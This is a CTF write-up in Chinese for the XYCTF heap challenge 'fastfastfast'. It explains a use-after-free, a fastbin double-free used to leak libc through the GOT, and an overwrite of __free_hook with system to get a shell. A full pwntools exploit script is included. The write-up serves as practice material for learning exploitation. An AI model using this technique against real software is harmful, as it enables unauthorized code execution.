Post

[XYCTF] fastfastfast

1
2
3
4
5
6
[*] '/home/bamuwe/fastfastfast/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)

$ checksec ./vuln

1
2
3
4
1. create note
2. delete note
3. show content
>>>

$ ./vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
void __cdecl delete()
{
  unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v1; // [rsp+18h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("please input note idx");
  __isoc99_scanf("%u", &idx);
  if ( idx <= 0xF )
    free(note_addr[idx]);
  else
    puts("idx error");
}

delete()漏洞函数,没有清除指针

1
2
3
4
5
6
7
8
9
10
11
12
def add(idx,content):
    io.sendlineafter(b'>>>',b'1')
    io.sendlineafter(b'idx\n',str(idx))
    io.sendlineafter(b'content\n',content)
    
def free(idx):
    io.sendlineafter(b'>>>',b'2')
    io.sendlineafter(b'idx\n',str(idx))
    
def show(idx):
    io.sendlineafter(b'>>>',b'3')
    io.sendlineafter(b'idx\n',str(idx))

交互函数

程序逻辑:

  1. add()堆块大小固定0x71
  2. free()后没有清空指针

利用思路:

  1. 填满tcache_bin构造fast_bin_attack,将堆块放在原来有libc_addr的地方,泄露出libc_addr

    1
    2
    3
    4
    5
    6
    7
    8
    
    for i in range(9):
        add(i,b'a')
       
    for i in range(7):
        free(i)
    free(7)
    free(8)
    free(7)
    

    image-20240503134919203

    要利用fastbin_attack要先把tcachebin中的堆块利用

    1
    2
    
    for i in range(7):
        add(i,b'a')
    

    image-20240503135100011

    1
    
    add(7,p64(0x4040A8))
    

    修改fd为目标地址,关于这个地址后文说明

    image-20240503135226136

    再申请三个堆块就可以得到目标chunk

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
    add(8,b'a')
    add(9,b'b')
    add(10,p64(0)*3+p64(elf.got['free']))   #?
    show(0)
    #leak_libc
    free_addr = u64(io.recv(6).ljust(8,b'\x00'))
    lib_base = free_addr-lib.sym['free']
    free_hook_addr = lib_base+lib.sym['__free_hook']
    sys_addr = lib_base+lib.sym['system']
    success(hex(free_addr))
    success(f'free_hook_addr=>{hex(free_hook_addr)}')
    

    得到libc这里p64(0)*3+p64(elf.got['free'])应该是堆块结构有关

  2. 修改__free_hook地址上的内容为system地址,构造system(/bin/sh),得到shell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
    for i in range(9):
        add(i,b'/bin/sh\x00')
    for i in range(7):
        free(i)
    free(7)
    free(8)
    free(7)
       
    for i in range(7):
        add(i,b'a')
    add(7,p64(free_hook_addr))
    add(8,b'a')
    add(9,b'/bin/sh\x00')
    add(10,p64(sys_addr))
    free(9)
    

    利用手法同上

关于地址0x4040A8:

这是存贮堆块列表的地址,即变量note_addr的地址,覆盖其上堆块内容,再打印出来

image-20240503140252580

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'
io = gdb.debug('./vuln','b *0x401564')
# io = remote('gz.imxbt.cn',20788)
elf = ELF('./vuln')
lib = ELF('./libc-2.31.so')

def add(idx,content):
    io.sendlineafter(b'>>>',b'1')
    io.sendlineafter(b'idx\n',str(idx))
    io.sendlineafter(b'content\n',content)
    
def free(idx):
    io.sendlineafter(b'>>>',b'2')
    io.sendlineafter(b'idx\n',str(idx))
    
def show(idx):
    io.sendlineafter(b'>>>',b'3')
    io.sendlineafter(b'idx\n',str(idx))
    
for i in range(9):
    add(i,b'a')

for i in range(7):
    free(i)
free(7)
free(8)
free(7)

for i in range(7):
    add(i,b'a')

add(7,p64(0x4040A8))
add(8,b'a')
add(9,b'b')
add(10,p64(0)*3+p64(elf.got['free']))   #?
show(0)
#leak_libc
free_addr = u64(io.recv(6).ljust(8,b'\x00'))
lib_base = free_addr-lib.sym['free']
free_hook_addr = lib_base+lib.sym['__free_hook']
sys_addr = lib_base+lib.sym['system']
success(hex(free_addr))
success(f'free_hook_addr=>{hex(free_hook_addr)}')

for i in range(9):
    add(i,b'/bin/sh\x00')
for i in range(7):
    free(i)
free(7)
free(8)
free(7)

for i in range(7):
    add(i,b'a')
add(7,p64(free_hook_addr))
add(8,b'a')
add(9,b'/bin/sh\x00')
add(10,p64(sys_addr))
free(9)

io.interactive()
This post is licensed under CC BY 4.0 by the author.